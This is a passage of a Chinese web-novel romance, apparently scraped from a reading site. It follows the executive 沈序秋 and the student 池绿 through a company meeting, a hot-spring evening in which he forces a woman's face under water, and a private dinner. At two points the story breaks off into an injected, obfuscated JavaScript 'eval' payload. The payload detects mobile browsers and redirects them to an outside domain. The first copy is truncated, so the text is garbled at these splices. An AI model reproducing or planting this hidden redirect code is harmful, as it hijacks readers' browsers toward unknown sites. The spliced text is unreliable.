沈序秋冷笑了声:“当初新能源刚投入的时候,云维那些高层也是这么嘲笑的,结果就是他们都回家养老了。” 整个会议室瞬间没人敢出声。 他们还年轻不想回家养老。 沈序秋的商业目光无疑是长远犀利的,眼光毒辣又有魄力,上任云维执行董事短短几年把集团的路走得风生水起,现在别人都在求着分一杯羹,他已经吃上大蛋糕。 行政美女cola这时候端着茶杯从外面进来,对上沈序秋薄凉的目光后,背脊发凉。会议室的同事发消息告诉她茶包一事,她换好鲜花立马沏茶进来。 庆幸保洁阿姨平时连垃圾桶都擦得发光发亮,扔在垃圾桶的茶叶也有木盒装着。 把泡好的茶放到沈序秋面前,换下那杯他嫌弃的茶。 冲在旁边拍视频的池绿微笑点头,然后功成身退。 沈序秋手指有一下没一下地点着桌面:“不管是芯片还是大模型,我从来不认为技术难题是无法解决的。同样,并购民威科技我势在必得。” 端起那杯新沏的茶,呷了口,原本阴冷的眼尾瞬间舒展开:“我胃口大,不怕消化不良。” 杯底搁在桌面发出轻微砰声。 “并购方案就到这。”沈序秋睨向财务人员,下达指令:“汇报上个季度的财务。” 财务紧张地点头,拿着PPT放进投影仪。 会议从9点到12点,中间只休息了十几分钟,池绿站得脚累。 cola给沈序秋订好了午餐,直接送到他办公室。 问池绿要不要跟她们去楼下食堂吃。 池绿想先拍沈序秋吃午餐,等拍完了再去吃,便让cola先去。 拍了几分钟,沈序秋又要看视频,池绿把相机给他,趁机去楼下吃午餐。 整个28层都是餐厅,热气腾腾的香气加上熙熙攘攘的员工,忙碌有序。 西餐、中餐、寿司、汉堡各种菜式应有尽有,刷工作卡就能吃。 池绿正陷入没卡的惆怅,有人迎面跟她打招呼,是会议室让她面试左转,讲并购方案PPT的男生。 他说他叫林羽燊,帮忙刷了卡:“你多吃点,刚才站了那么久。” 池绿笑笑:“我会的。谢谢你。” 她是真的站饿了,拿了几道粤菜,又点了奶茶。吃饱喝足上去。 董事长办公室,沈序秋站在落地窗前,俯瞰整个江市的繁华大厦讲电话。自然光影勾勒他的宽肩腿长,腰肢劲瘦,剪裁合身的衬衫西裤里是结实成熟的躯体。 相机放在笔记本旁边。 池绿轻手轻脚过去,拿起相机,忐忑地检查,她怕视频又被删掉。 野生眉直接皱起——视频又被格式化了!!! 她握紧拳头,盯着男人的后脑勺,仿佛要把他黑乎乎的脑袋盯出一个洞。 又白干了一个中午,委屈感涌上来,心里酸酸涩涩,快速眨睫毛,不让眼眶变红。 他应该是在跟云维总部那边的秘书蒋霖打电话,语气悠闲把握十足: “让他闹,他离职云维就会倒闭吗?等着他交辞呈。” 挂了电话,他转身,整个人直面她。 巨大的落地窗在他身后,城市仿佛被他踩在脚下,他像是宇宙主宰,眼底的睥睨众生化作承托万物的息壤,她在他目光所及之处无处可逃。 池绿嘴角及时牵出一抹笑,她自己不知道笑得很假:“小叔,视频为什么又格式化了呀?” 声音有点哽咽。 “哦。”沈序秋坐回真皮软椅,懒洋洋瞧她:“会议内容是商业机密,不好传出去。” 话说得有道理,池绿喉咙一哽,心里难受。 他至少愿意找个理由,而不是像早上那样颠倒黑白。 池绿也不知道自己到底是来干嘛,本以为请一天假能赚点外快也不错,回去再恶补专业知识,但是辛辛苦苦拍的视频毫无理由被格式化,赚不到一点钱。 沈序秋要的根本不是工作vlog,只是想戏弄她。 她越想越委屈,专业课没上,外快泡汤,所有不好的事情都堆积在一起。 唯一做得大快人心的就是用南宋的葵花盏盛羹,扔掉价值180万的茶叶。 但是这对他而言根本不算什么。不然也不会不跟她算账。 他之所以对她有意见,处处针对,一点错误就放大,仅仅只因为她是池志安的孙女。 他讨厌池志安,她作为孙女也被打上讨厌的标签。 她又不是犯了滔天大罪,为什么要被牵累。 她想问问他,什么时候能消气。 可是她连问都不敢问。 磨蹭许久,池绿鼓起勇气问:“那,还要拍吗?” 沈序秋似觉得好笑,随手将手机扔桌面,乌眸凉成夜色:“别忘了你的任务是什么。” 小姑娘黑白分明的眼眸晨时露珠似地晃着,盈盈水光感觉下一秒就要夺眶而出。 手里还拿着杯喝了一半的芋泥奶茶,她口味倒是专一。几个月前暑假,在池家时隔10年再次见她,她也是握着一杯芋泥奶茶,浅浅芋泥挂在嘴角。 不一样的是当时少女眼瞳澄澈似漫天星 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沈序秋从屏幕上的PPT里抬起脸,小姑娘原本坐在沙发角落看书,现在已经靠着扶手睡着了,小小一个看起来累坏了。 他合上电脑,迈着长腿过去。 正要喊醒她,瞥见她搁在腿上的笔记本上,上面的字体刚柔并济。 有几组中文字体夹在英文单词里特别醒目。 混蛋、魔鬼、讨厌、讨厌uncle、Autumn、Foreword Foreword序言,前言。 Autumn秋天。 uncle叔叔。 沈序秋眯了眯眼,眼底顿时阴云密布。鞋尖碰了她一脚,见她没动静又踢了一脚。 她迷迷糊糊睁开眼,看见他后一个激灵坐直身体,惊讶道:“小叔?” 腿上的笔记本掉落在地上,她慌忙捡起来。 写着那行字的页面盖在下面。 将心虚表现得淋漓尽致。 “写的什么,我看看。” 沈序秋俯身拿她笔记本,她手疾眼快捏住不松手,因刚睡醒脸蛋透着粉晕,支支吾吾:“没什么好看的,写的单词,我12月要考四级……” 沈序秋薄凉的眼神紧紧贴着她的脸,她惧怕他的视线,发烫的眼皮躲开他的目光,睫毛轻柔地眨,死死捏着笔记本。 “松手。” 他语气平静却不容置疑。 池绿喉咙发涩,她知道自己拗不过他,到头来只会惹他生气。 泛白的指松开,笔记本从手里溜走。 她的心也仿佛灰色了。 “混蛋、魔鬼、讨厌、讨厌uncle、Autumn、Foreword。” 沈序秋徐徐将那行字念出来:“是在说我吗?” 他每说一个字,就像一只巨大的脚印踩在她心脏,一层一层将她整个人都压弯了一截。 “我是混蛋、魔鬼、讨厌,对吗?” 池绿垂着眼皮,攥紧手心,想撒谎说不是,但说不出口。本来就是她一时埋怨顺手写在本子上的,因为怕被发现,还用英文代替。 结果还是意外被他看见了。 “既然那么爱写单词,我们公司海外市场的营销宣传资料你帮忙手写翻译一下吧。” 虽然是带着帮忙,吧之类的字眼,但明显没有可商量的余地。 池绿抬眸,愣愣地问:“那不用录视频了吗?” 他冷声反问:“难道需要时时刻刻录视频吗?” 池绿摇头。 她明白了,录视频的同时还要手写翻译。 她又给自己找了事情干。 哪个正常公司会手写翻译,沈序秋这是惩罚她骂他混蛋呢。 之后沈序秋换了运动服去楼下健身区和员工打了半小时羽毛球,在会议室不苟言笑死气沉沉,在羽毛球场稍微有点人气。 他打球方式比起凶猛拳击更斯文稳定,优雅性高。 可惜池绿无心观赏,只觉得这男人精力充沛。 他的办公室是loft型,楼下是办公区,木色螺旋楼梯上去是生活区,衣柜和床应有尽有。 他运动后洗了澡换了衣服又回到办公区工作。 池绿坐在沙发处的椭圆地毯,在茶几用A4纸手写翻译英文,很多专业词汇不懂,还得临时翻译。 半天下来只翻译了6页PPT。 下班前公司的总裁邱岸风风度翩翩地进来,先是走到池绿旁边,夸赞她的字写得好看,然后回到办公桌邀请沈序秋去泡温泉。 “你已经拒绝我两次了,事不过三,沈董。总不能每次来江市都不去体验一把特色吧?” 沈序秋无奈一笑:“雾溪的温泉到底哪里好,值得你三番四次邀请。” “去试试不就知道了?” 邱岸风瞥一眼在茶几努力手写翻译的池绿,“私汤,现成的美女,可舒服了。” 沈序秋顺着他的目光看去,拿起文件夹毫不留情拍在他脑袋:“滚。” 邱岸风抢过他手里的作案工具,压低声音:“怎么?你不喜欢那款还带在身边干嘛?” “你不喜欢的话我可以试试吗?” 俩人是大学同学,邱岸风太了解沈序秋了,他不近女色,身边没有哪个女的能靠近他,而今天却把所谓的vlog摄影师带在身边。 邱岸风总怀疑是烟雾弹。 何况人家小姑娘长得极其清纯漂亮,他好久没看到那么纯的女孩,纯得他都想变成少年了。 沈序秋冷冷地乜他,邱岸风顿时不敢出声,装模做样清咳两声,转移话题:“你今天必须得跟我去泡温泉。” 9. 私汤 过去雾溪温泉要一个小时。 这里因遮天蔽日的竹林而闻名,满目苍翠,堪比世外桃源,大大小小的温泉池掩盖其中。 一路清风相随,沁人心脾的竹香从降下的车窗扑来,萦绕鼻尖。 车子往山上行驶,橘黄路灯如幻影倒退,月光洒在竹林,染上浅浅薄纱。 池绿没心情感受大自然的蜿蜒美丽,她只想知道今晚还能不能回花城。 她不想明天又请假。 偷偷瞅一眼旁边环胸闭眼假寐的男人,时而昏暗时而朦胧的光影交错落在他脸上,他像潜伏在黑暗中静待时机时稍作歇息的猎手,冷肃的压迫感因阖上的双眸减了几分。 池绿好几次想开口问今晚能回花城吗,却始终没敢开口。 她的手腕还有些酸痛,是下午抄写英文累的,她强迫自己冷静,在脑海里默念单词。 车子抵达温泉酒店,邱岸风先下车,迎宾上来开门。 白氏集团独揽整座山麓的酒店和娱乐。因消费定位高级,出入不是豪车就是体制内红旗,服务自然也是数一数二。 酒店有个年轻的眼尖男人看见邱岸风立马从里面出来,点头哈腰的:“邱先生好久不见,怎么今天一个人来的?” “和朋友呢。”邱岸风朝身后的车抬了抬下巴。 秦朗紧跟在后面,把车停在门口,池绿在迎宾打开车门时礼貌说了谢谢,刚站稳就听见陌生男人欣喜地问:“这是邱先生的女朋友?” 沈序秋迈着长腿从另外一边下车,听见这话绕过来后乜了一眼男人。 “我不是。”池绿否认。 她不好怎么介绍自己,不是员工也不是朋友,便说:“我叫池绿。” 逢人乖巧自我介绍的模样惹邱岸风笑了:“别乱说话,这是沈董的私人摄影师。” 格外咬重私人两个字。 经理见多识广,而江市叫得上名并且年龄二十八九左右的沈董屈指可数,何况是跟邱岸风交好的,他瞬间知道了站在眼前,眼神锐利的男人是谁,平时也听了不少宇航股份董事长的八卦,没想到今天能看见本尊。 “沈董你好,我是雾溪的经理。” 经理礼貌伸出右手。 沈序秋眼皮往下,却对他的握手言好视若无睹。 “话太多。” 徐徐吐出三个字径直进酒店。 好没礼貌。 池绿真佩服他无视人的底气和自信。 他是不是身居高位要风得风要雨得雨太久,忘记了自己曾经也是底层。 空气尴尬了一瞬,好在经理能屈能伸,缩回手像个没事人一样笑笑。 她们不入住,只是泡温泉吃晚餐,工作人员领路踏入环境清幽的翠绿竹林。 两侧竹林风大,树影沙沙,长廊幽深七拐八拐。 池绿跟在两个男人身后,东张西望,这儿空气清新如仙境,价格应该不会便宜,拿出手机打开大众点评,搜酒店名字。 居然搜不到。 估计因为目标人群是达官显贵,不需要太多人知道。 手机屏幕上方恰好弹出一条消息,池绿点进去。 沈聿初:【我明天有空,还需要采访吗?】 池绿正要回复,不小心踩了前面沈序秋的脚后跟。她一个踉跄脸蛋栽在他结实的后背,手机没拿稳掉在地上发出砰声。 她第一反应不是捡手机,而是将脸蛋从他背脊弹起,单薄的肌肤也随即烧了起来,幽暗光线里泛着不自然的红润。 “对不起,我不是故意的。” 被踩一脚还被磕到后背的男人转身,他身型高大,在幽深的夜里像庞然大物将她笼罩,感觉他是她的三倍大。 压迫感让她口干舌燥,怯生生喊了声:“小叔……” 沈序秋视线往下,摔在地面的手机正面朝他,亮起的手机屏幕微信对话框的名字是沈聿初师兄。 上一条信息是早上10点。 沈聿初:【今天身体怎么样?有没有好点。】 池绿的微信名是池加两颗黄色月亮emoji。 【已经好了,谢谢师兄关心。】 【玲娜贝儿送花花jpg】 早上10点,是公司开会时间。 难怪她时不时低头看手机。 池绿顺着他的视线发现手机聊天页面是正面朝他,她莫名有一种做贼心虚的感觉,神色慌张却强装淡定地弯腰捡手机,幸好手机贴了防护膜戴了手机壳,完好无损。 她握紧手机起身,又后退了两步,企图用隔开彼此距离减少心脏乱颤。 她不就不小心踩了他一脚吗?他这双泛着冷调的眸却像是要扒掉她一层皮肉。难道是因为看见了沈聿初说他有空接受采访? “我,我不会采访沈师兄的。” 她先主动坦白。 “把他微信删了。” 沈序秋语气平静,却不容置疑。 池绿疑惑不解地啊了声,清凌凌的眼睛望着他。 他这是在发哪门子疯啊?有什么权力命令她删掉谁。就那么害怕别人知道他们认识吗?还是怕她缠上他们沈家的人? “我不会告诉师兄,我们认识。” 她试着商量。 平时鹌鹑似的听话,现在居然会为了留着沈聿初的微信跟他顶嘴。 跟沈聿初有什么好聊的。 沈序秋蹙眉:“是要我动手?” 竹林沙沙作响,吹乱了她的心神,她紧紧捏着手机,抿唇,没动。 冷风卷着竹叶清香穿透她的身体,她的骨头仿佛浸在寒夜中,冷得缩了缩肩膀,最终还是妥协在他淬了冰的眼神里,把沈聿初删除了。 沈序秋这才满意地转身继续往前。 一口气堵在池绿胸腔,她闷闷地跟上。 不远处传来几个女生的玩闹嬉笑,伴随着‘你们好好玩吧’之类的结束语,一个美艳婀娜的女人从木屋转角出现。工作人员喊了声白总,指引邱岸风他们往分叉路口。 明亮灯光落在女人精致的脸,邱岸风隔空和她对视了几秒,轻颔首算是打招呼。 女人回到大堂,见了经理,勾了勾手指,示意他过来。 “刚刚那男人是谁啊?” 刚刚只进去了一拨人。经理毫不思索:“您说的是宇航股份的沈董?” 邱岸风来过这里几次,也跟白舒菲见过面,自然不可能是问邱岸风。 白舒菲略有所思。沈董的名号她是听过的,应该说整个豪门圈无人不知,无人不晓。一个在穷乡僻囊地出来的私生子居然生得这样端正好看,气质一骑绝尘。 她唇角勾起:“去把我那瓶红酒拿出来。” “哪瓶?” 白舒菲瞥他:“还能哪瓶?我哥送的那瓶红头leroy。” 雾溪的温泉更衣室是男女分开。 池绿要先给沈序秋拍一段泡温泉视频,便站在更衣室外面等。 今天拍的视频只剩下午的还没删掉。 也许待会拍了泡温泉的视频,他觉得过于暴露色.情删掉后顺便就把下午的视频也删掉了。 那她今天真的是白干一场。 夜风簌簌朝她扑来,她被折腾了一天,身体和心理在独处的这一刻尤其疲惫,提不起劲。 更衣室里面,左边是四个木隔间,右边一排木柜放衣服。 “白家那三小姐整日纸醉金迷,沉迷男色,投资什么都以失败告终,白老爷子居然也敢把雾溪交给她管理。”邱岸风在第一个隔间,刚才看见了白家三小姐,顺便八卦一嘴。 他感叹道:“你们有钱人的人生容错率就是高。” 在隔壁隔间的沈序秋对别人的人生没兴趣,懒得搭理。 “嗳,你不是要拍视频吗?有点变态了,我不跟你一个池啊。你跟人小女孩玩变态小叔和纯情女大吧。” “纯情女大?”沈序秋想到她梗着脖子不删微信,唇角勾起一丝冷意:“是叛逆女大吧。” 沈序秋换好浴袍出去时,木墙脚边一个垂头丧气的圆乎乎脑袋正看着手机发呆。 像是在缅怀什么。 删掉沈聿初微信就那么难过? 他眯了眯眼:“大晚上垂着个脑袋,是要吓死谁?” 池绿抬头,对上他居高临下的黑眸,胆战心惊地先认错:“对不起啊,我不是故意的。” 一句温柔的道歉让沈序秋哑火了,没再说话径直往温泉池方向走。 看他走得那么快,身后的池绿疑惑地看向更衣室,问:“不等邱总吗?” 沈序秋回眸,见她眼睛还盯着男更衣室。 他嗤了声:“怎么?你还想拍他的裸体啊?” “不是。” 吓得池绿立马回头,小碎步跟上他。 雾溪的温泉池,分户外和户内。 户外大大小小十几个不同品种的温泉池全部是用绵密的天然竹林丛做遮挡,一丛竹林围着一池温泉,特意采用的温馨黯淡圆灯,虚虚笼在竹丛。 星星点点的光芒堪堪看清人影。 风吹竹叶,月光照在雾气袅袅的池面,似铺了层白纱。 沈序秋选的是秘制瑶浴,在雾溪汤池园深处,从亭阁进去是四片屏风衔接汤池。 本来是有服务人员守在屏风外的,沈序秋让她们下去。 池绿踩在凹凸不平的石子路面,四处张望,正思忖着要怎么拍,前面的男人忽然脱下浴袍,露出结实性感的倒三角后背,昏暗光影将宽肩窄腰轮廓清晰勾勒。 池绿眼瞳放大,屏息无措低头假装很忙。 他穿衣服跟没穿完全是两种风格。 穿衬衫解开两粒扣子是禁欲的雅痞贵公子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我叫白舒菲,是这儿的老板,今天刚好在这泡温泉。” 她坐在沈序秋边上的石沿,手伸进温泉池,调皮地嬉起水花溅在他脸上:“沈先生?” 沈序秋不爽地掀开眼皮,懒懒散散瞧了一眼,似觉得无趣又阖上。 生硬道:“不认识。”又加了句:“今天这池子归我,白老板另找。” 言外之意是别把手伸进来。 白舒菲浅笑,没把他的话当一回事,她见过太多这种表面端着的男人,到最后还不是拜倒在她石榴裙下: “沈先生不认识我,我可是听说过你。” 见他不搭话,脱了浴袍,白嫩大长腿直接伸进去温泉池。 她缓缓靠近男人,余光瞥到一抹身影,抬眸看去,正对面岸边竹林底下站着个拿着相机一脸惊讶,不知所措的小姑娘。 她松了口气:“吓死我了。”转而又冲沈序秋娇媚一笑:“原来沈先生还有这种爱好……” 沈序秋不耐地睁开眼,缓慢的语调微微愠气:“谁允许你下来?” 白舒菲被他阴鸷的眼神吓到了,顿了顿说:“一个人泡温泉多无趣。我还给沈先生醒了一瓶红酒呢。” 他的沉默令她后背发凉,怀疑是因为这里还有第三个人,他放不开。 便抬头说:“小妹妹,你还不走?少儿不宜的画面还是别拍吧。” 她大着胆子,涂着艳丽红指甲油的指尖有意无意划在他线条分明的手臂,一寸一寸往其他地方。 一股浓烈的依兰香气和陌生的指尖触感令沈序秋蹙眉,他按住女人的后颈,将她精致的脸朝水里摁。 “啊……” 突如其来的呛水,让她慌张挣扎扑腾。 池绿还在犹豫要不要离开就看见这一幕,顿时瞪圆了眼睛,不敢置信。 “你算什么东西?也配使唤她?” 男人的眸染上浓郁夜色,嗓音低而沉,似寒夜霜冻,碰上就被冰冻住。 池绿惊讶到捂嘴。只见过沈序秋对男人手段狠辣,没想到对女人也下得了狠手。 淹得差不多了,沈序秋将她的脸从水里抬起,听她剧烈咳嗽却一点也不怜香惜玉。 “让你滚,非得凑上来。” 白舒菲的妆容因碰水花了不少,狼狈至极,她从来没受过这种待遇,气愤道:“你怎么敢这样对我!你知道我是谁吗?” 沈序秋将她的脸板向自己,冷眼审视她的五官:“白家三小姐是吧,你开什么温泉酒店?去卖镜子没准能风生水起。” “每天照照,找到自己在山海经的哪一页。” 第一次有人拐着弯说她丑,白舒菲委屈地瞪他。 “沈序秋,放开我!” 沈序秋也没想跟她纠缠,从温泉池出来,披上浴袍。睨向角落里被吓到发呆的池绿,声音温和下来:“走了。” 池绿心跳加速了一下,哦一声,朝还在缓气的白舒菲投去同情的目光,碎步跟上大步流星离开的男人。 只是碰了一下他的手臂,就把人女孩的脸摁水里,这是什么没风度的神经病啊。 10. 伺候 下山的路上,迈巴赫十分诡异安静。 池绿缩在角落,只坐了三分之一的位置,更不敢吱声,她怕自己哪里惹沈序秋不快会被扔出去。白舒菲被摁水里的画面历历在目。 坐在另一侧的男人翘着二郎腿,电脑架在膝盖浏览文件,荧屏光亮将他硬朗的俊脸照亮。 他打通了一个电话:“让市场部的人这两天尽快出一个收购江市雾溪温泉的方案。” 虽然没开扩音,但车里过于安静,电话那边说了什么一清二楚。 蒋霖冷静的声音有些疑惑:“江市?” 云维集团的事业蓝图主要在花城,其他是根据城市特色发展领域,比如临海的海市发展风电产业,科技之城江市发展低空经济,至于江市雾溪温泉酒店就是小鱼小肉,他怎么突然有兴趣。 而且雾溪温泉是江市首富白氏集团旗下的酒店产业,人家集团运营得好好的,大张旗鼓去收购也不定能成。 但是沈序秋既然说要收购,那一定有他的理由。 没有他做不到的事情。 “好的,我让他们三天后给出两版方案。” “沈亦琛前段时间来江市了,你送幅仕女图过去,江市的副市很喜欢这玩意。” 话点到即止,蒋霖自然知道什么意思。 “沈亦琛今天的行程发一份给我。” 沈序秋挂了电话合上电脑,揉了揉眉心。 电话铃声又响起。 这次是邱岸风,他似乎很绝望。 “大哥,你走怎么不通知我一声啊?你把人白三小姐得罪了,拍拍屁股就走人,我一个人在这很尴尬的啊。” 沈序秋放松地靠在后座,平静道:“忘了。” 对面明显无语了一瞬:“你怎么不把你身边那个叫池绿的女孩忘在这?” 池绿听到自己的名字整个人瞬间紧绷了起来。 能不能别cue她,她只想当个透明人。 沈序秋没理他这话:“该吃吃该喝喝,过段时间酒店姓沈,你要是感兴趣,交给你管理,现在就当提前视察不足。” 那边震惊了一下:“你认真的啊?白舒菲到底做了什么大逆不道的事情?连人家刚接手的产业你也要掠夺。” 沈序秋冷笑:“既然她管不住自己的淫手,不如去玩个够。” “我这叫君子成人之美。” 淫手。 池绿艰难地吞咽,第一次听到这样的形容词,还是从沈序秋口中说出。 她不由自主地盯着自己的手,想到昨晚情急之下握住他的手,还不小心碰到他腕上的红绳,他没骂她没动粗,已经算大发慈悲吧。 看来以后要时时刻刻小心点。 从雾溪温泉下山,直接去吃晚餐。 沈序秋在吃方面向来不将就,在江市也有固定光顾的几家餐厅。 迈巴赫停在一条静谧的街道,池绿欲言又止,想问问她也要进去吗沈序秋已经砰上了车门。 秦朗看向后视镜,柔和地笑:“池绿快进去吧,沈董没说话就是要你跟着。” 秦朗最是了解沈序秋的。 池绿哦一声。不知道她待会能不能蹭个晚餐。 从两扇镂空雕花木门进去,质朴雅致的老旧咖啡褐木墙古色古香,穿着统一服饰的服务生出来前厅迎接。 餐厅正门的墙中央有一块纯天然洞石,贴着圆润饱满黄铜实心字——“叙兰”。 叙兰的领头经理一眼看见一个脸蛋白皙的女孩乖巧地跟在沈序秋身后,手里拿着相机,一双清澄的眼睛好奇地张望。 见了他,友好地抿唇笑。 又纯又甜,好似带来了春风。 不知道是不是女朋友,招待沈序秋那么多次,第一次见他带女孩子过来。 经理上前说:“沈董,今天还是老样子吗?” 沈序秋淡淡嗯了声,打探了句:“包厢都满了吗?” 领头经理能坐到这个位置,头脑自然是好使的,他没事不会多此一举问包厢有没有满。 思忖片刻,告知:“三公子这段时间来江市办事,和几个领导正在二楼包厢。” 沈家对外公开的家事以及人物关系,在名门望族里面并不是什么秘密。 经理口中的三公子是沈亦琛,沈序秋同父异母的三哥,家族里唯一走仕途并且一路平步青云的人物。 沈亦琛在这,沈序秋一点也不意外,毕竟才刚看了蒋霖发过来的行程表,世界上又哪里有那么多偶遇和巧合。 他面上依旧没什么反应,只说:“醒瓶petrus送过去,记我账上。” “好的。” 进了顶层的包间,里面色调温馨素雅。 餐桌边的小场地放了把古筝,头顶圆形灯光泄落在古筝上,为整个包间增添一丝古典雅致。 池绿多瞧了眼,真是雅兴,吃饭听古筝。 沈序秋坐下后端起茶杯轻呷了口,眼角余光女孩还木头般杵在旁边东张西望。他手搭在椅背上,懒懒散散地瞧她,她似也感受到了目光,迎面撞上视线后立马躲开。 跟做贼一样。 在他一动不动的注视中,她僵硬又好奇地转过来:“小叔,您有事吗?” 眼中是不自在的惶恐。 感觉讲话稍微重一点就会被吓跑。 “你站姿挺不错,明天直接来公司试试岗,看看迎宾和保安哪个更适合你。” “都不适合。” 小姑娘吓得立马搬开他旁边的椅子坐下:“我喜欢坐着,特别喜欢坐在图书馆看书,或者坐在教室听课。” 她语调里夹着丝丝慌乱,墙上射灯照在她脸蛋,透着娇憨的温润。 “小叔,你要不要看看刚刚拍的视频。” 她将相机放在桌面,慢慢推到他面前。 沈序秋轻抬下巴,不咸不淡地说:“打开。” 搭在椅背的手岿然不动,明显是等着人伺候。 “哦。”池绿稍微搬动椅子朝他靠近,上半身也微微倾向他,举着相机将显示屏凑近,凭感觉找到适合他看的高度。 他没什么耐心,看了开头就发号施令:“删。” 早知结果的池绿懒得问原因,抿唇一言不发地删了十几个,下午在公司拍的视频删得七七八八,除了一些她随手拍的公司内部。 然后开始播放刚刚在雾溪温泉拍的。 相机有点重量,是很多年前妈妈送给她的生日礼物,佳能70D加上长焦镜头,她举了5分钟加上侧着上半身,腰开始酸。 她头顶的男人闻到似有似无的芋艿香,思绪和视线逐渐偏移——拿着相机的手纤细秀气白里透红,指甲修剪得很圆润,还能看见月牙,比温泉池白三小姐的红指甲顺眼。 垂顺的发尾落在他挽起衣袖的手臂,蹭得痒痒的。 目光扫在她侧脸,她正认真地看着显示屏。 脸蛋晕着不健康的红润,睫毛不停闪扑,看上去很紧张很羞涩。 显示屏里面夜色朦胧,温泉池雾气袅袅,裸着上半身的男人在幽暗中闭目养神。 镜头从上往下。 男人俊朗的轮廓,冷白的肤色像是黑夜中切开的唯一亮口,吸收大地氧气,肆意生长。 就袒胸的程度也能这样羞赧,不知道的还以为她看的是18.禁。沈序秋莫名生出逗逗她的心思。 “温泉池倒是拍得挺有意境,非得我牺牲色相,你才用心是吧?” “看不出来,小小年纪心思不纯。” “我没有。”池绿冤枉地抬头解释,对上那双深沉质疑的眸后声音越来越小:“我都是这样拍的……” 甚至因为害羞,温泉池拍得更随意。 他身后有一盏椭圆灯罩落地灯,橘黄光从布罩里透出亮色。 暖光印在他锐利硬朗的脸,他棱角鼻梁染上一层淡淡的温柔光晕,漆黑的瞳色里能清楚地看见自己。 霎时,一股令人窒息的侵略感从头到脚将她包裹,她的呼吸仿佛困住,酸痛的腰肢被吓软,连带举着相机的手跌在他大腿根。 沈序秋拧眉,她几乎半个身体的重量都压在他腿上,不重但酥酥麻麻,隔着几层衣物也能清晰感受到一团猛然弹上来的柔软在温柔按摩。 意识到是什么,他喉结轻滚:“光看不过瘾,直接动手摸了?” 小姑娘看着纤瘦,实际很丰圆。如果不是知道她没那个胆子和坏心思,还以为她跟温泉池那女人一样,想占他便宜。 “不是不是,对不起,我腰酸。” 池绿薄肌滚烫,利索地从他身上起来,挺直腰板正襟危坐。 生怕他说要砍掉她淫手。 紧张到脚趾头都蜷缩时,经理带着服务生进来布菜,她如释重负般轻吁了口气,腰板还是酸酸的,手伸到后面揉了揉。 几人在碗筷轻磕里,井然有序地布好了前菜。 几道小巧精致的菜肴摆在釉色纯白的盘,颜色清丽的食材浮在白瓷,像莫奈的画。 布置完毕经理问:“沈董,酒要哪种?” “茅台吧。” “好的。” 泛着冷意的初冬少不了要暖酒,经理将沸水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15405212|168744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 注入融白温碗,再放入梅瓶造型的温酒器,酒器口窄,热量流失慢。 做好后又问:“今天想听古筝还是琵琶呢?” “不用,吵。” “好的,那您慢用。” 以往几次和邱岸风过来都会喝着小酒听着古筝或者琵琶声就餐,今日居然说吵,经理临走前不免多瞧了眼池绿。 小姑娘坐得端端正正,蓬松黑发衬着酡红肌肤,一双漂亮的桃花眼里是不谙世事的清亮和羞涩,想起什么似的,慌忙用相机拍摄菜肴,镜头时不时对准沈序秋。 沈序秋低头看手机,由着她拍,也不恼。 俩人看似没什么交谈,但又异常和谐。 房间一阵诡异的阒静。 经理看不懂这种情况,小心翼翼地撤了。 拍到沈序秋动筷后池绿才放下相机,她瞅了瞅男人,不知道怎么开口问我能吃吗。 他吃东西不喜说话,不喜被人打扰。 池绿犹豫地拿起筷子,再次看向沈序秋,他像是没发现她的动静,沉默地吃。 她深吸口气,鼓起勇气甜甜地问: “小叔,这个葡萄吃起来跟超市的阳光玫瑰有什么不一样吗?” 长形岩纹白瓷盘上,三颗绿葡萄成团,拢共四组十二颗翠绿。这样精致摆上来,价格肯定翻倍,估计要几百一碟,江市果然人有多大胆,钱有多好赚。 沈序秋这才抬眸,目光从那碟‘葡萄’移向她求知若渴的脸:“你味觉失灵了?” 池绿实在琢磨不透他的想法,不知道他为什么这样问,但他语气不像是关心。 她摇头。 “没失灵你问我?我脸上写着可以市场调研啊?” 池绿被他呛得再次摇头,“不是的,那我试试口感。” 虽然他一如既往没说什么好话,但她唇角忍不住勾起。 搛了块外形像绿葡萄的菜,入口才知道是山药,上面淋了猕猴桃汁,回甘还有青苹果味,她眼中有一丝惊喜,笑着对沈序秋说:“原来不是阳光葡萄,是猕猴桃味的山药。” 沈序秋冷哼,“舌尖倒是很灵”。 池绿腼腆笑:“是厨师做得很好吃。” 菜陆续端上来。 餐桌上顿时只有碗盏碰撞的声音。 池绿不敢吃太多,也不敢先下筷,等沈序秋吃了哪道菜,她才会跟着吃。 整个一学人精。 见他杯子里的酒见底了,还会立马拿起酒壶续上。 既不让自己挨饿,也把他伺候得好好的。 跟在他后面喝了几口松茸鸡汤浸西施蚌,西施蚌清甜,半盏下肚胃里暖暖的。 虽然是十几道菜,但分量小得惊人,她全部尝了一遍,刚好七分饱。 最后一道菜上完,经理说店里新出的季节限定甜品很好吃,问池绿要不要试试。 没想到会有被询问的待遇,池绿瞪圆了眼睛抬头看向没什么表情的沈序秋。 连忙解释:“你问沈董就行了。” 她只是个蹭吃蹭喝的。 “沈董不爱吃甜的。” 池绿又一次忐忑地看向沈序秋,企图从他脸上看出什么指示。 他手臂搭在椅背,视线压在她脸上,似觉得好笑:“想吃就吃,非得我先吃啊,刚刚没给你试够?” 她脸蛋咻地滚烫了,他也知道她一直跟在他后面夹菜,并且默许这种行为。 尴尬地捏着大腿上的布料,硬着头皮说:“那麻烦你给我打包……” 她不是那么得寸进尺的人,要是让沈序秋看着她吃或者等她吃完她会消化不良。 “嗳,好的。” 她时刻注意着沈序秋的言行举止,他对此没什么反应,板着的脸冷戾,让人不敢多瞧。 她渐渐松气。 从私房菜出来,秦朗直接把车开回公司,搭乘电梯上顶楼坐直升飞机回花城。 沈序秋喝了小酒好像比较疲惫犯困,一路上没说什么话,直接闭目养神。 直升飞机降落在花城星月湾别墅后花园已经是晚上9点多。 